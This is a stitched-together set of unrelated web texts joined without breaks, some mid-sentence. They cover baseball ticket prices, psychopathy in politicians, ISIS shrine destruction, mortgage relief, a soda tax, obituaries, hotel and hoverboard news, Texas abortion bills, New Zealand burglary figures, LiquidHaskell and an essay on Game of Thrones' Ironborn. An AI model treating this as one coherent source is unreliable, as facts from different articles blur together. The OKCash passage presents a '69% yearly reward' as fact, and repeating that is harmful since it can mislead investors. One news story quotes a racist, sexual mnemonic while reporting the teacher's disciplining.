Weekend ((Thursday) Friday-Sunday) online pricing will range from $6-$8 per game.
GROUP RATES
Group rates are also available (as noted in the table). Weekday (Tuesday/Wednesday) and Weekend ((Thursday) Friday-Sunday) pricing occurs. Groups of 10-24 are set at $4-$5 per person, while groups of 25+ are $3-$4 per person.
All UH main campus students are admitted FREE to regular-season baseball home games with a valid student ID.
2016 SCHEDULE QUICK HITS
OUR CITY
• 32 home games; 38 in the city of Houston
• First 12 games of the season will be played in the city of Houston
• 21 of the first 25 games will be played in the city of Houston
• 18 of the first 25 games will be played at Darryl & Lori Schroeder Park
OPENING WEEKEND
• Houston will host Opening Weekend for the 11th consecutive season
• Cougars are 14-1 all-time during Opening Weekend under Todd Whitting
COLLEGE CLASSIC
• Houston to make 16th straight appearance in Houston College Classic at Minute Maid Park
• Cougars to face Texas Tech, Arkansas and TCU
• Cougars own a 20-25 all-time record in tournament; has earned seven wins over Top 30 teams
FIRST-TIME OPPONENTS
• Houston has three first-time opponents on the schedule: Villanova, Grand Canyon, George Washington
RICE & TEXAS IN SUGAR LAND, TEXAS AT CONSTELLATION FIELD
• Houston will meet both Texas (April 12) and Rice (May 17) for non-conference, midweek games at Sugar Land's Constellation Field.
NCAA TOURNAMENT COMPETITION
• 20 games this season will be played against an NCAA-tournament team from 2015
• Arkansas, TCU, Texas Southern, Rice, Texas A&M, East Carolina, Texas, USF, Tulane
STAY CONNECTED
Stay up to date with all Houston Baseball news and highlights by following us on Twitter @UHCougarBB or on Facebook at /HoustonCougarBaseball. Fans can also follow head coach Todd Whitting @toddwhitting on Twitter.The question, then, is whether it is reasonable to believe that people with serious abnormalities in the way they interact with the world can be found running for (and winning) office. However unsettling as this may be, the answer seems to be yes. It's possible for psychopaths to be found anywhere -- including city hall or Washington, D.C. Remember, psychopaths are not delusional or psychotic; in fact, two of the hallmarks of psychopathy are a calculating mind and a seemingly easy charm.
In his landmark book on psychopathy, The Mask of Sanity, researcher Hervey Cleckley theorized that some people with the core attributes of psychopathy -- egocentricity, lack of remorse, superficial charm -- could be found in nearly every walk of life and at every level, including politics. Robert Hare, perhaps the leading expert on the disorder and the person who developed the most commonly used test for diagnosing psychopathy, has noted that psychopaths generally have a heightened need for power and prestige -- exactly the type of urges that make politics an attractive calling.
There is more at work than just the drive to seek office, though; psychopaths may have some peculiar talents for it, as well. Research has shown that disorder may confer certain advantages that make psychopaths particularly suited to a life on the public stage and able to handle high-pressure situations: psychopaths score low on measures of stress reactivity, anxiety and depression, and high on measures of competitive achievement, positive impressions on first encounters, and fearlessness. Sound like the description of a successful politician and leader?
Doubtless, it's easier to see some leaders as psychopaths than it is others. Presumably, no one would dispute the notion that Hitler and Stalin were psychopaths at the extreme end of the spectrum: completely unconstrained by empathy or guilt and willing to say or do anything to accomplish their goals. This, though, reinforces the perception of psychopaths as out-of-control madmen who are evil to the core. Might there be other, more mainstream political leaders who have psychopathic traits but fall closer to the "normal" range? Some have certainly thought so.
In 2003, neuropsychologist Paul Brok argued that Prime Minister Tony Blair was a "plausible psychopath" who was ruthlessly ambitious, egocentric, and manipulative. Respected psychologist and researcher David Lykken has written:
If we can believe his biographer, Robert Caro [...] Lyndon Johnson exemplified this syndrome. He was relatively fearless, shameless, abusive of his wife and underlings, and willing to do or say almost anything required to attain his ends.
In any event, the idea that a psychopath could reach the heights of power is nothing new. Over a century ago, famed American philosopher and psychologist William James said, "When superior intellect and a psychopathic temperament coalesce [...] in the same individual, we have the best possible conditions for the kind of effective genius that gets into the biographical dictionaries." Perhaps, then, that's the key; it's the combination of other talents with certain elements of psychopathy that can make an effective leader.
Which brings us back to those currently tossing about the label of psychopath -- ironically, some of them may not be denigrating the candidates as much as they suppose.Iraq’s religious and cultural heritage is currently under attack from the militant group Islamic State of Iraq and Syria (ISIS), report sources including Newsweek and Hyperallergic. The group has bulldozed, blown up, or otherwise destroyed churches, shrines, and mosques across the country, as well as ancient statues, artifacts, and archeological sites.
Using Twitter, ISIS and its operatives have posted multiple photos of religious buildings being demolished, including the Shia Saad bin Aqeel Husseiniya shrine in Tal Afar and Mosul’s al-Qubba Husseiniya mosque. The group is also occupying the Chaldean cathedral and the Syrian Orthodox cathedral, both in Mosul, and has replaced crosses on the building spires with the Islamic State’s black flag.
Made up of ardent followers of the Sunni strain of Islam, ISIS has predictably focused much of its destructive energies on holy sites for the Shia sect. This is hardly surprising, given the long history of violence and conflict between the rival factions, but even Sunni religious buildings are not safe. This is due to the group’s strictly conservative interpretation of the faith, which permits only the worship of Allah. Several Sunni mosques in Nineveh have been destroyed due to purported instances of idolatry, such as visiting tombs.
According to the Daily Mail and a YouTube video attributed to ISIS, the tomb of Jonah, the biblical prophet most famous for having been temporarily swallowed by a great fish, has also been destroyed. ISIS has also desecrated the Mosul grave of Abu al-Hassan al-Jazari, a 12th- and 13th-century historiographer, known as ibn al-Athir.
The group, which recently declared itself a caliphate, is led by Abu Bakr al-Baghdadi, who claims to be a descendent of Muhammad. Its activities endanger all religious minorities, including non-fundamentalist Sunnis, as well as important cultural, religious, and archeological sites.
According to the Guardian, Isis “was also known to have reaped windfalls from smuggling all manner of raw materials pillaged from the crumbling state, as well as priceless antiquities from archaeological digs.”
Reports based on the group’s social media activites speculate that ISIS plans to target Mecca, the all-important, obligatory pilgrimage site for Muslims. The holy city is home to the Al-Masjid al-Haram mosque, held by Muslims to be the most sacred mosque in the world. It includes a granite and marble building called the Kaaba, believed to contain a footprint from Abraham and a cornerstone laid by Muhammad himself.
“If Allah wills, we will kill those who worship stones in Mecca and destroy the Kaaba. People go to Mecca to touch the stones, not for Allah,” said ISIS member Abu Turab Al Mugaddasi, reports APA based on a Turkish news article.
UPDATE: According to a report from the Conflict Antiquities blog, the site in the video purportedly showing the destruction of the tomb of the prophet Jonah does not match known photos of the tomb. A comparison of video footage also rule out the possibility that the tombs in the video included the final resting place of the prophet Seth, which has also been mentioned in reports.
Follow artnet News on Facebook:The report continued: “Even among borrowers who receive five-year modifications, some will eventually fall behind on their payments and once again face foreclosure. In the final reckoning, the goal itself seems small in comparison to the magnitude of the problem.”
The Treasury took issue with the report and said the pace of modifications was picking up. The number of active permanent modifications in March was 227,922, an increase of 35 percent from those in February. An additional 108,212 permanent modifications are awaiting borrower approval.
Shaun Donovan, secretary of Housing and Urban Development, said in an interview that those were the important numbers to focus on.
“One percent of these loans defaulting is a tiny fraction,” Mr. Donovan said. “Given how stressed these borrowers are, even in the best situation, there will be redefaults. But I don’t think there is any evidence that would cause us to worry at this point.”
Julia R. Gordon, senior policy counsel for the Center for Responsible Lending in Washington, said she expected the number of post-modification defaults to continue to rise.
Photo
“It’s definitely alarming to look at those statistics,” she said. “The current model for modifications doesn’t necessarily produce sustainable results.”
While the program is too new to predict its long-term success, the data on previous modification efforts is not encouraging.
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Sixty percent of modifications undertaken by banks in late 2008 were in default a year later, according to the latest Mortgage Metrics Report compiled by the Office of Thrift Supervision and the comptroller of the currency.
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Many of these private plans either kept the payments the same or increased them. Inevitably, those mortgages suffered the highest failure rate: about two-thirds of the borrowers defaulted again.
Loans for which the payments were decreased by at least 20 percent failed at a slower but still significant rate of about 40 percent.
The government program takes a more aggressive approach, lowering the interest rates for all loans. On many loans, terms are also extended or principal payments put off for years. Treasury data shows that the median savings for borrowers receiving permanent modifications is $512 a month.
Many borrowers remain deeply indebted, however. They owe not only on the house, but on homeowner association fees, home equity loans, car loans, alimony and credit card interest.
Even after modification, $61 out of every $100 earned by the borrower goes to servicing debt, government figures show. For increasing numbers of modification recipients, mortgage relief is apparently not enough to stave off financial collapse.
“If you can help 60 percent, and 40 percent have to fall back, is that worthwhile?” asked John Courson, president of the Mortgage Bankers Association. “Clearly for the 60 percent it was, and the 40 percent weren’t going to make it anyway.”
The Treasury said on Wednesday that it had always anticipated that some homeowners would not sustain a modification, which was one reason the program had been greatly expanded. New elements focus on allowing distressed homeowners to sell their properties for less than they owe and on shaving the principal owed by borrowers.
The notion of cutting principal, however, has already run into some resistance from the big banks, which do not want borrowers to get the idea that their mortgage can be chopped on a whim.Seattle, Washington is the latest city to consider a tax on sugary beverages. In his February 21 State of the City address, Mayor Ed Murray proposed a tax of 2 cents per ounce on the distribution of sugary drinks (i.e., energy drinks, juice, soda, and sweetened teas). If approved, the tax could generate as much as $16 million annually, which would go towards improving education in the city.
Specifically, the funds would be earmarked for the Education Action Agenda, which has a mission to “eliminate the opportunity gap between white students and African American/Black students and other historically underrepresented students of color.” The city would use the revenue to expand Birth-to-Five programs as well as before and after school programs, support educator workforce diversity, reduce disproportionality in discipline, and more.
Mayor Murray emphasized the amount of revenue a soda tax could generate, as the city desperately needs more money for education. That’s true for the state of Washington, too. Education has been underfunded in the state for decades, meaning that “Washington is failing to meet its constitutional obligations for fully funding K-12 basic education.” Governor Jay Inslee (D) hasn’t called for a statewide tax on sugary beverages, but his proposed budget for 2017–19 includes repealing the sales and use tax exemption for bottle water.
The proposed Seattle soda tax is about money. But it’s also about health. The mayor pointed out that the Centers for Disease Control and Prevention finds soda taxes to be “the single most effective remedy to reverse the obesity epidemic” because they help decrease consumption. The health benefits of taxing sugary beverages have been part of tax debates in other parts of the country as well.And Dennis Banks, the legendary Anishinaabe leader and Native American activist, has died at the age of 80. In 1968, Banks co-founded the American Indian Movement. A year later, he took part in the occupation of Alcatraz Island in California. In 1972, he assisted in AIM’s “Trail of Broken Treaties,” a caravan of numerous activist groups across the United States to Washington, D.C., to call attention to the plight of Native Americans. That same year, AIM took over the Bureau of Indian Affairs building in Washington, D.C. In early 1973, AIM members took over and occupied Wounded Knee on the Pine Ridge Indian Reservation for 71 days, which some have come to call Wounded Knee II. Speaking with Democracy Now! in 2012, Dennis Banks recounted how he was taken from his family in the 1940s and forced into a boarding school along with thousands of other Native American children.
Dennis Banks: “I was taken to a boarding school when I was four years old, and taken away from my mother and my father, my grandparents, who I stayed with most of the time, and just abruptly taken away and then put into the boarding school, 300 miles away from our home. And, you know, the beatings began immediately, the—almost the de-Indianizing program. It was a terrible experience that the American government was experimenting with. And that was trying to destroy the culture and the person, destroy the Indian-ness in him and save the human being, save the—kill an Indian, save the man.”
Dennis Banks remained politically active throughout his life. Last winter, he joined protests against construction of the Dakota Access pipeline at the Standing Rock Reservation in North Dakota. Dennis Banks died Sunday night due to complications from heart surgery. He will be laid to rest in his home community of Leech Lake, Minnesota.Chicago's historic Allerton Hotel has been sold to a Paris based hotelier and will be receiving a new name, the Warwick Allerton Hotel. In addition to its new ownership and name, the Allerton's famous Tip Top Tap may be making a comeback. Warwick International, the company who now owns the 443 room Allerton has purchased several other Art Deco-era hotels throughout the country, including the Warwick New York. Allerton's Tip Top Tap was a popular nightlife destination during the jazz age but closed in 1961. The hotel went through a major renovation after it received landmark status in 1999 and its Tip Top Tap was turned into a ballroom. According to Crain's, Warwick is currently mulling over different plans for a Tip Top Tap "renaissance", but has not yet fully committed to the idea of converting the space back to a bar and lounge. With Chicago's hotel boom well underway, reviving the old swanky lounge could be a smart way to compete with nearby amenity-rich hotels.
· Will Tip Top Tap lounge make a comeback? [Crain's]
· Previous Hotel Boom Town coverage [Curbed Chicago]Pereira, however, says the legal battles won't deter him from pursuing this business opportunity.
"They could go after me but I'm about pushing public transportation," he said.
Several Chinese factories pump out thousands of units a day under various names including Oxboard, Cyboard, Future Foot, Monorover, Airboard, Freego, Esway and Overoad.
The Üüboard sells for $949 and comes with a one-year warranty, but rival products are available for between about $600 and $1,800 US. Hüüver's Chinese supplier, Cube Electronics Tech, said on its website they can be purchased directly for up to $200 US.
While the various models look alike and carry similar features, Pereira said they're not identical. Some are a little slower, sluggish and less durable, he said.
Pereira said the Üüboard can work up to nine hours on a 135-minute charge. Weighing 22 pounds, it can carry people between 50 and 350 pounds.
The hoverboards can be used on urban bike lanes and sidewalks, but Pereira said he's been asked to put it away at a Blue Jays game and in some shopping malls.
Despite its $1,800 US price tag, the IO Hawk has had trouble keeping up with demand since it entered the U.S. market in February and attracted the attention of celebrities and athletes.
Justin Bieber, NBA all-star Stephen Curry, actor Jamie Foxx and Kendall Jenner have all been seen using the device or a slightly cheaper brand, PhunkeeDuck.
Rapper Wiz Khalifa was in the news recently when he claimed to be arrested at the Los Angeles airport for riding the device he called a "hoverboard" even though it has wheels that firmly touched the ground.
The Canadian PressOKCash is digital cash. Transactions have really fast confirmations, making them virtually instant. You can send OKCash to family or friends, or pay for goods or services, anywhere in the world. OKCash is a decentralized digital currency, meaning there are no banks to take a cut of your money. The OKCash network is decentralized and free from middlemen, giving you back control of your finances and providing a secure network for all of your payments. Simply Keep your OKCash wallet software running and you will start earning a 69% yearly reward on the OKCash coins you have in your wallet. Your wallet is the software you use to send, receive and store your OKCash. It’s simple to use and you can choose to send payments from your wallet. OKCash makes it fun and easy for everyone to share and spend via social networks, bringing people together through social payments. All you need is an OKCash wallet to accept OKCash as payment for goods or services. Display your unique address to begin accepting payments. There are no processing fees and transactions are fast.When Tony Blair became prime minister in May 1997, he had a landslide majority, an approval rating of 93 per cent, and he went on to become Labour’s longest-serving premier. At his last PMQs he got a standing ovation in the chamber of the House of Commons. How things have changed. Nowadays all we hear about is the accusations of lies, hubris and money-making business deals.
But is this disillusionment justified? To assess the record of this extraordinary politician, Intelligence Squared staged Tony Blair on Trial. Levelling the charges against him was Tom Bower, the investigative journalist who is about to publish his most explosive book yet: Broken Vows: Tony Blair and the Tragedy of Power. Bower admits that he shared the hope and excitement that millions felt when Blair took office promising a New Labour programme of modernisation and reform. But that general optimism was swept away by the controversy over the Afghanistan and Iraq invasions, and the ‘dodgy’ dossiers about Saddam Hussein’s weapons of mass destruction. The spin didn’t stop there, Bower argued. Blair’s claims to have improved Britain’s schools, hospitals and welfare services all came under his forensic spotlight. As for Blair’s record since leaving office, how is it, he will ask, that the man who risked his government to destroy Slobodan Milosevic and Saddam Hussein has earned a fortune advising leaders of highly dubious regimes?
All this is a travesty, according to David Aaronovitch, award-winning columnist on the Times, who defended Tony Blair in our event. The problem, as Aaronovitch sees it, is that the political classes hate Blair. The Left have never forgiven him for proving them wrong and the Right have never forgiven him for defeating them. But in the country at large, Blair’s legacy is overwhelmingly impressive. Take education. Teaching standards were raised, and flagship programmes such as the academies and Teach First, which fast-tracks bright graduates into London’s toughest schools, were instigated and later embraced by the Coalition. Childcare was provided for millions of working parents for the first time. The same thing happened on health. Without Blair’s NHS reforms it is hard to know how the system would have coped. The minimum wage, equal rights for gay people, a Welsh Assembly, a Scottish Parliament, a London mayor – many of these initiatives were controversial when first proposed but are now part of the political consensus. As for military intervention, Aaronovitch pointed to the success stories of Kosovo and Sierra Leone, and argued that the current crisis in the Middle East is more the result of the West’s refusal to act than any failure of Blair’s.
As Labour’s warring tribes – the Blairites and Corbynites – threaten to tear the party apart, there is no better time to examine the legacy of the man who reinvented Labour and triumphed in three general elections, but who is now one of this country’s most controversial figures. As they slugged it out, Bower and Aaronovitch called upon their specially chosen expert witnesses to bolster their case.AUSTIN -- Texas isn't shying away from new abortion legislation after suffering a major blow in the Supreme Court this summer.
Lawmakers filed multiple bills Monday that aim to further regulate the practice in the state, all of which will be brought up in the legislative session next year.
Possibly the most contentious of the bills was proposed by Rep. Matt Schaefer, R-Tyler. House Bill 87 would prohibit women from having abortions after 20 weeks because of a fetal abnormality. Current rules allow abortions to take place after 20 weeks only if the fetus is not viable, if the abortion is necessary to prevent death or serious impairment to the woman or if the fetus has a severe abnormality.
Schaefer also proposed a bill that would require abortion facilities to submit monthly, instead of annual, reports to the state on each abortion performed. House Bill 144 states that the report, however, would not identify "by any means an abortion facility, a physician performing the abortion, or a patient."
House Bill 201, which was filed by Rep. Byron Cook, R-Corsicana, would write the state's proposed fetal remains rules into law. The rules would essentially require fetal remains, regardless of the period of gestation, to be cremated or buried. Current rules allow for fetal remains to be incinerated or ground until rendered unrecognizable and disposed of in a sanitary landfill.
Joint Resolution 9, filed by Sen. Bob Hall, R-Edgewood, proposes a state constitutional amendment that would extend rights of life and liberty to unborn children and prohibit abortion to the extent authorized under federal law. To take effect, the resolution would have to be approved by a two-thirds majority of both chambers and a majority of state voters.
Although the bills could place some restrictions on abortions in the state, Texas hasn't introduced major legislation on the issue since House Bill 2 in 2013, which the Supreme Court partially struck down in June.
The bill would have forced clinics to have admitting privileges at nearby hospitals and to meet hospital-like standards. If the law would have gone into effect, it would have left as few as 10 clinics in the state. By the time of the ruling, half of the abortion clinics in the state had closed.Twenty-four police stations in New Zealand did not solve a single burglary in 2015.
Information released by New Zealand police showed only 9.3 per cent of all burglaries in New Zealand in 2015 were solved.
Out of the 24 police stations that did not solve any burglaries, Bulls and Russell had the worst resolution rate, with all 32 burglaries that occurred in each of the areas unsolved in 2015.
The station that solved the most burglaries was Pleasant Point, with 50 per cent of the burglaries in the area solved.
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Waikouaiti solved 44 per cent of the burglaries that occurred.
Manawatu area prevention manager Inspector David White said for the Bulls area only 15 of the burglaries were in the township, the rest were rural burglaries.
Of the 32 reported, eight were for the theft of motorcycles from rural properties and another eight saw nothing taken.
"Without diminishing the sense of loss for any theft, the remainder included petrol from farm tanks, a rabbit, and chainsaws from sheds."
The rabbit stolen had been reported earlier by Stuff, and was returned home to the person it was stolen from after being found in a bush near the property.
White said there were two officers who worked in the Bulls area.
"However, our officers do work across areas and stations where necessary."
In 2015, 2072 preventative activities were recorded in the Bulls police area.
"These activities include checking people on court bail, stopping cars, hotel visits, foot patrols, and road checkpoints."
White said there were several reasons burglaries may go unsolved.
"Police follow up on all reports made to us, however, if police have exhausted all evidence, lines of inquiries, potential suspects, witnesses or other information available, it is difficult for staff to investigate these."
Any victimisation was of concern to police but White said with the burglaries averaging out in Bulls to around 2.5 reported per month, it was unlikely extra officers were needed.
Rangitikei District Mayor Andy Watson said he would be talking to the regional commander after hearing the figures for Bulls burglary rate.
"I do find it a bit concerning, I'll have to talk with the regional commander and see if it's resources or if there's any variables we can look [into]."
In Taihape, Bulls, Marton and Hunterville security cameras had been installed throughout the town.
"I'll have a chat to police about whether there's a crime prevention method we can look at, [maybe] getting information out especially to the rural people about looking after their security."
In the Manawatu area Kimbolton and Pongaroa also had a 0 per cent resolution rate for burglaries.
Kimbolton had 11 burglaries and Pongaroa 5.Media playback is unsupported on your device Media caption The BBC's Steve Evans says that police think other arsonists are still at large
A man has reportedly admitted burning more than 100 luxury cars in the German capital Berlin, in attacks that raised fears of political extremism.
Police say the 27-year-old, who is unemployed and has debts, was motivated by social envy and frustration to set fire to 67 cars over three months.
A further 35 cars parked nearby also went up in flames.
Some 470 cars - mainly BMWs, Mercedes and Audis - have been burnt this year in the city.
Such was the extent of the problem this year, up to 500 police were deployed on the streets at night to look for suspects and a 150-member dedicated squad was set up.
Berlin police also asked the federal authorities for high-tech equipment and helicopters with thermal image cameras.
The suspect was arrested on Sunday and confessed he had torched 67 cars between June and August, admitting that on several occasions the fire had spread to neighbouring cars.
"He wasn't motivated by politics but rather social envy," said senior police official Oliver Stepien. "He said in essence: 'I've got debts, my life stinks and others with fancy cars are better off and they deserve this'."
Earlier this month, the Berlin railway system was hit by arson attacks. Explosive devices were placed in a number of locations, including at least one on a high-speed rail track.
A previously unknown left-wing group, calling itself the Hekla Reception Committee, said it had planted the devices.Teacher who taught pupil racist 'rape' rhyme so he could remember lesson is guilty of misconduct
A supply teacher who taught a racist rhyme to a pupil - which included the vile phrase 'Black Boys Rape Our Young Girls' - has been found guilty of professional misconduct.
James Hersey, 68, taught the shocking mnemonic to a 16-year-old boy who was revising a wiring colour coding system for electronic resistors.
He taught the boy the ditty: 'Black Boys Rape Our Young Girls, But Virgins Go Without.' Each word represents the first letter of the colours in the code which are; black, brown, red, orange, yellow, green, blue, violet, grey and white.
Teacher James Hersey of Hove, East Sussex, holding a circuit board: He claims the rhyme he was taught in the 1950s helps to remember a colour coding system for resistors
When the Year 11 pupil asked for help in remembering the code, Mr Hersey wrote part of the rhyme down on a piece of paper and showed it to him.
Mr Hersey was sacked on the spot after the boy told another teacher what he had been taught.
He was found guilty of unacceptable professional misconduct because of the rhyme's 'racist and sexual content' by a disciplinary hearing of the General Teaching Council (GTC).
He was told the mnemonic was 'inappropriate in more enlightened times' and that it failed to 'demonstrate respect for diversity and promote equality'.
Mr Hersey, who attended the hearing in Birmingham on Thursday, was given a reprimand which will stay on his record for two years.
Chairman of the panel Paul Bird told him: 'Whilst teaching a Year 11 engineering lesson on Thursday 18 March 2010, you communicated a rhyme to Pupil A that was racist and inappropriately sexual.
'I am an old-fashioned teacher and what I told the pupil was a historical fact... Teachers nowadays are not allowed to teach. Political correctness has gone over the top,' said James Hersey
'The words intended to represent the resistor colour code are, on any reading, both racist and inappropriately sexual.
'The committee is concerned that Mr Hersey has demonstrated only partial insight into the inappropriateness of the 'rhyme' in the 21st century.'
The panel heard that Mr Hersey breached the Code of Conduct and Practice for Registered Teachers which states staff must 'demonstrate respect for diversity and promote equality'.
Mr Hersey has 28 days to appeal the ruling.
Speaking from his home in Hove, Brighton, Mr Hersey today defended his teaching method, saying it was 'a naughty saucy rhyme'.
He said: 'I am an old-fashioned teacher and what I told the pupil was a historical fact.
'I am not a racist or a sexist and I have taught pupils of all nationalities.
Supply: James Hersey was working at Oriel High School in Crawley, West Sussex when he taught the racist rhyme to a pupil
'The pupil I was helping with revision asked me how I remembered the code and I told him about a naughty saucy rhyme I was taught when I was at Brighton Polytechnic in the 1950s.
'The fact that the word black is in the rhyme is because that is the first colour in the code.
'I also have an issue with the GTC claiming the rhyme was somehow sexual because rape is not a sexual act.'
Grandfather-of-three Hersey, who worked as a supply teacher for 14 years before he was sacked last March, added: 'Teachers nowadays are not allowed to teach.
'Political correctness has gone over the top. Teachers are also treated like the lowest of the low while the kids can get away with murder.'
Mr Hersey said he had now decided to retire from teaching and had no intention of returning to the classroom.Guarantee Functions are Total
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The input contract propagates to uses of head which are verified by ensuring the arguments are NonEmpty.
Keep Pointers Within Bounds
LH lets you avoid off-by-one errors that can lead to crashes or buffer overflows. (more...)
Dependent contracts let you specify, e.g. that dotProduct requires equal-sized vectors.
Avoid Infinite Loops
terminate and so warns about the infinite recursion due to the missing case in fib. (more...) LH checks that functionsand so warns about the infinite recursion due to the missing case in
Metrics let you check that recursive functions over complex data types terminate.
Enforce Correctness Properties
ordered, as refinements. LH makes illegal values be unrepresentable. (more...) Write correctness requirements, for example a list is, as refinements. LH makes illegal values be
LH automatically points out logic bugs, and proves that functions return correct outputs for all inputs.
Prove Laws by Writing Code
Specify laws, e.g. that the append function ++ is associative, as Haskell functions.
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LiquidHaskell (LH)Haskell's types with logical predicates that let you enforce critical properties at. |
destroyed the Old Way when he burned Black Harren, gave Harren’s kingdom back to the weakling rivermen, and reduced the Iron Islands to an insignificant backwater of a much greater realm. Yet the old red tales were still told…all across the islands.”
The Ironborn do not practice the Old Way; as the Mallisters note, the “the bell” meant to warn Seagard of Ironborn raiders “has been rung just once in three hundred years.” Three hundred years is a long time, approximately twelve generations in length, long enough to obliterate the distinction between master and slave (especially when slavery is not practiced across the generations). While House Codd is despised by the nobility of the Iron Islands, the reality is that the overwhelming majority of Ironborn probably have thrall blood in them. More importantly, the Ironborn themselves have had to turn to peaceful occupations to eat and survive, no matter what the Iron Price and the Gold Price might say. Balon Greyjoy, separated by his feudal taxes from the need to feed himself from his own labor, might turn up his nose at goods bought with gold, but the Tyroshi trading galley and the Ibbenese Cog in the harbor are trading with someone and they’re not going to come if iron is the only thing on offer.
In other words, what we’re dealing with here is not a living culture but a revanchist one. Just as the people of Astapor and Yunkai and Meereen call themselves the sons of Ghis even though they are actually the descendants of a dozen peoples and mostly Valyrian, even though they’ve forgotten the Ghiscari language and now speak a mere dialect of Low Valyrian, even though their religion is essentially reverse-engineered from the archaeological remnants of a culture that no longer exist, so too do the Ironborn invent what the Old Way is and was, ignoring the signs of change along the way in favor of an imagined continuity. For example, Urron Redhand is held up by both Theon and his father as a paragon of the Old Way, a man who teaches the Ironborn that “the Drowned God makes men…but it’s men who make crowns” – and yet, it’s Urron Redhand who ended the original, authentic tradition of electing the King of the Iron Island at a kingsmoot and made the crown an inherited position, and whose line was then violently interrupted by the Andal invasion (for all that the Ironborn seem to pretend that never happened). Likewise, for all that the Ironborn are represented as having always followed the Drowned God, there was a sept in Lordsport before it was burned, which means there was a large enough population of followers of the Seven to support a church.
None of this is to say that the Ironborn’s self-conception isn’t powerful; as we’ll see, it’s powerful enough to inspire war, again and again. But it is important that we recognize that when Balon or Aeron or Victarion or Euron or Theon use their supposed heritage to justify their actions, what we’re seeing there is a political choice, to use history as the blunt force trauma of justification and legitimation.
Historical Analysis:
On the face of it, Ironborn culture is a pretty straightforward expy for Viking culture, at least as it was understood by 19th century historians, who tended to rely a bit heavily on church chroniclers who propagandized rather heavily against anyone who touched church property and on Scandinavian sagas that were long on embellishment, in other words by the same sorts of folks who gave us the image of the violent, unkempt barbarian in the horned helmet that’s almost entirely invented.
The more revisionist history that came around starting in the mid-20th century paints a more sober picture:
First, the “Viking era” was a relatively brief part of Scandinavian history (and indeed, many today label it an era in pre-history, given the paucity of written records from the Scandinavians themselves), lasting only from the late 8th through the 11th centuries C.E – afterwards, you’re dealing with more centralized monarchies.
Second, going “viking” was not the center of Scandinavian culture and society – rather, it was seasonal work undertaken by fishermen, sailors, farmers, etc. to supplement their incomes, given the limitations of Scandinavian climates. In this light, it’s not that different from the piracy practiced by many other coastal people in this, earlier, and later periods.
Third, “viking” existed as one part of a spectrum of economic and military activities. On the one hand, the same longships that were used to rob abbeys were also used for trading and exploration; the same axes and swords for a bit of robbery and plunder were often turned to more civilized uses, like mercenary work. And critically, scholars have often conflated actual “vikings” with more straightforward conquest – raiding for spending money was all well and good, but what Scandinavians wanted was better farmland. Hence the conquest of Normandy, the eastern half of Ireland, the Danelaw in England, the two Sicilies, Kievan Rus, and so on and so forth. And when we look at these conquests, we don’t see the barbarians of the chronicles – “Northmen” founded cities and towns, encouraged commerce, conducted adminstration and taxation and legal systems, and tended to assimilate into the local culture (albeit at the top). Granted, they were still conquering other people’s lands, but that hardly makes them that different from say, the Anglo-Saxons who had taken Britain from the Romanized Britons, or the Franks who had subjugated the Romanized Gauls, a few hundred years earlier.
Fourth, “viking” raids existed in a context of push and pull factors. Overpopulation and limited arability in Scandinavia was a factor in getting young men to bring in ready money from overseas; it’s also been suggested that anti-pagan discrimination by Christian traders was a motivating factor in acquiring foreign exchange by force. Others have noted that the crusades of Charlesmagne against the pagan Saxons of continental Europe pushed the Saxons up into Scandinavia, again creating overpopulation, a need for more land, and a dislike of Christians, and thus pushing the “vikings” into England, Ireland, Northern France, etc. Still others have noted that the increase in Viking activity also coincided with the collapse of the Carolingian Empire, and can thus be seen as a sort of testing of the political and military vaccum that proceeded more serious efforts to deal with internal problems by grabbing for a cut of Europe along with everyone else.
Now, Martin is clearly a romantic who likes the older history of the Vikings, but as we’ll see, he also understands the more practical side of history. However, there are clearly elements of Ironborn culture that don’t have any correspondence with Viking society – the extreme emphasis on caste and slavery, the resentment complex towards the mainland, the revanchist attitude and born-again religion.
I would argue instead that the Ironborn resembles the Civil-War era (white) South, which George R.R Martin researched in preparation for his novel Fevre Dream, which posited vampires as part of the parasitic plantation elite. Consider the similarities: just as the Ironborn strongly emphasize the differences between ironman and thrall, the South laid down sharp divisions between white and black, free and slave; just as the Ironborn treat one another with a rough equality, historians have pointed out how the necessities of white unity against the threat of slave rebellions required the creation of a cultural attitude in which all whites were equal, and had to be treated better than black slaves. Within the reigning ideology of slavery, the idea was that slavery created a mud-sill effect that lifted up even poor whites by freeing them from the need to perform the worst kinds of labor, and thus creating in the South a kind of herrenvolk democracy. (If you’re interested in this, I highly recommend David Blight’s lecture series on the Civil War and Reconstruction which are available for free on iTunes)
Most importantly, like the Ironborn in the wake of Aegon’s Conquest and the failure of the Greyjoy Rebellion, the white South had engaged in a failed rebellion in the hopes of maintaining a society and culture based on human exploitation, bitterly resented their defeat and the end of their “peculiar system,” and through the use of violent terrorism believed that their true, original culture would “rise again.” Likewise, in the face of their defeat, the white South turned to the revision of history to posit a South that was the victim rather than the initiatior of a civil war, that had fought for the purest constitutional motives rather than in defense of a social system now universally regarded as evil, and that had previously enjoyed a harmonious and virtuous social order more in line with the martial virtues of the past than the tawdry commercialism of the victorious Yankees.
So, next time you think about how “badass” Victarion or Euron might be, imagine them in a pointy white hood.
What If?
There are a few hypotheticals I want to address in this chapter. I’m sure I’ve missed some, so look to the comment section for more:
Balon Greyjoy says yes? I highly doubt this was ever possible, given what we learn in this chapter and Balon’s temperment and character. But let’s say that Balon gets hit on the head shortly before meeting Theon Greyjoy and suffers a sudden reversal of personality. Well, I think much of what Theon says comes to pass – shortly after Robb Stark’s victory at Oxcross, Lannisport falls from a combined sea- and land-attack, and Casterly Rock is put under siege. I’m of the opinion that, barring a bit of deus ex machina from GRRM as happens with Winterfell, Casterly Rock will hold out for an extended period of time, but it doesn’t need to fall to have a political impact. With Lannisport sacked and Casterly Rock under siege, Tywin’s impetus to cross the Red Fork increases dramatically, as does the pressure on his own political coalition. That might be enough to keep Tywin trying to cross just one more day, and prevent him from linking up with the Tyrells. Alternatively, if the news reaches Highgarden that the Lannisters have just lost their major port city and are in danger of losing the capitol of the Westerlands, I think the Tyrells think twice about allying with them. Especially since in this scenario, rather than facing an invasion of the North, Robb Stark can now look forward to the next phase of the war with 10-15,000 Ironborn allies and another 18,000 Northern soldiers who can now march south through Moat Cailin to help end the war once and for all.
